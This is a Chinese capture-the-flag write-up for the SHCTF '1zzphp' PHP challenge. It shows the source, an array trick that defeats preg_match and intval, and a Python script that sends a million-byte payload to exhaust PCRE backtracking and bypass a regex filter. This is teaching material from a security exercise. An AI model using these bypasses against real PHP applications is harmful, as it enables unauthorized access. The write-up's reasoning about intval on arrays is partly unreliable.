[SHCTF]1zzphp

Oyst3r 于 2023-11-16 发布

(对于这个题里面的正则回溯绕过还是有不懂的话,可以去看看我的这篇文章–晕晕晕,正则回溯?!晕晕晕,以及之前发的那篇文章–CTF 中那些奇奇怪怪的正则表达式)

1.这个题目也是没有很多形象的东西,很直接的给了一个源码,这个还是很好审的,接下来带大家一起康康

<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}

一起分析这个源码,首先还是高亮这个 index.txt,然后分别用 post 和 get 方法去接受两个参数,第一层过滤是一个正则匹配(这个一看就很好绕),然后有一个 intval 的函数(这个函数也是 CTF 里面的老熟人了),来简单解释一下这个函数是干什么的

intval — 获取变量的整数值
具体一点的话是下面这个
int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)

然后就又是一个正则了,这个正则首先一看就是一个非贪婪匹配(这个就理解成它会在原地等什么时候才能匹配到 s,但是前面有一个.代表一个任意字符),具体抽象出来的意思就是只能以 shctf 前面不放东西,其实它就匹配不到,但是紧接着看后面这个 stripos 函数(这个函数也是经常被出成 CTF 的题目),这里也解释一下吧

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

意思就是必须得完完全全的匹配到这个’2023SHCTF’字符串,显然这个和上面这个正则是有冲突的,欧克源码就先说到这里

2.首先啊,咱们一步一步来,先看绕前面这两个,我们要满足$num里面没有数字(preg_match 检测不出来),同时满足intval($num)为 1(true),这个直接采用数组就行,这就很常见的绕过了

preg_math()传入数组参数会直接返回0,同时intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值, intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1故此传入?num[]=1,产生错误返回1

所以就是?num[]=1

3.先给大家看个小视频吧,仔细观察,看完再继续看文章下面的内容

4.然后这个第二部分,要是之前没接触过这个正则回溯相关的知识的话,肯定是很难想到的,关于正则匹配的话我也写过一篇文章,文章的最后也给大家展示了 p 神发现的这个东西的应用,从网页到数据库,只要有用到正则匹配,且满足利用条件的,基本上就是通杀,所以近期也专门写了一篇关于正则回溯的 1 文章–晕晕晕,正则回溯?!晕晕晕,基本上就是贪婪匹配的话会一个一个回溯,而懒惰的话就是很容易出现这个问题,这个专业的叫法是 PCRE 回溯次数限制绕过,先给大家看下 payload 吧!

import requests
from io import BytesIO

url = "http://112.6.51.212:32998/"

session = requests.Session()

headers = {
    'User-Agent': 'Windows10 / Chrome 75.0.3770.142Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'
}

data = b'b' * 1000000 + b'2023SHCTF'
bytes_io = BytesIO(data)

params = {'num[]': 1}
post_data = {'c_ode': bytes_io}

response = session.request('POST', url, params=params, data=post_data, headers=headers)

print("md给我flag:")
print(response.content)

这个就是用 python 模拟发包的过程,然后超过 100 万次的匹配,那么正则就会崩溃,返回 Flase,而这里也没有做一个强等于判断 0 是否等于 Flase,所以就轻松绕过了,大家看不懂的话,先去看看那两篇文章,很简单的!!!

Finish!!!